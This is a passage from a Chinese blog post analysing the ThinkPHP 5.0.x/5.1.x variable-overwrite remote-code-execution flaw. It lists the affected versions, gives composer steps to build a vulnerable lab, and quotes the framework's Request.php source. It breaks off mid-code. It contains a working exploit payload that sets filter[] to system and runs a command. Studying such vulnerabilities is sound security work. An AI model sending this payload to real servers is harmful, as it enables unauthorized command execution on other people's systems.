[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析

最新推荐文章于 2024-09-08 19:36:27 发布

huamanggg

最新推荐文章于 2024-09-08 19:36:27 发布

阅读量5.5k

点赞数 9

分类专栏：代码审计文章标签： php web安全渗透 thinkphp 安全漏洞

本文链接：https://blog.csdn.net/m0_51078229/article/details/121413362

版权

本文详细分析了ThinkPHP 5.0.x和5.1.0-5.1.30版本中的一个严重安全漏洞，该漏洞可能导致远程代码执行（RCE）。通过变量覆盖，攻击者可以控制特定函数执行，进而影响系统安全。文中介绍了漏洞的环境搭建、触发条件、漏洞原理及利用过程，并对此进行了深入的代码审计，揭示了漏洞链的复杂性。

摘要由CSDN通过智能技术生成

前言

漏洞存在版本，分为两大版本：

ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30

环境搭建

composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist

修改composer.json

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.5"
},

执行composer update
访问public/index.php
在这里插入图片描述

漏洞分析

payload:

_method=__construct&method=get&filter[]=system&get[]=whoami

在thinkphp/library/think/Request.php中的method方法里面

public function method($method = false)
    {
   
        if (true === $method) {
   
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
   
            if (isset($_POST[Config::get('var_method')])) {
   
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{
   $this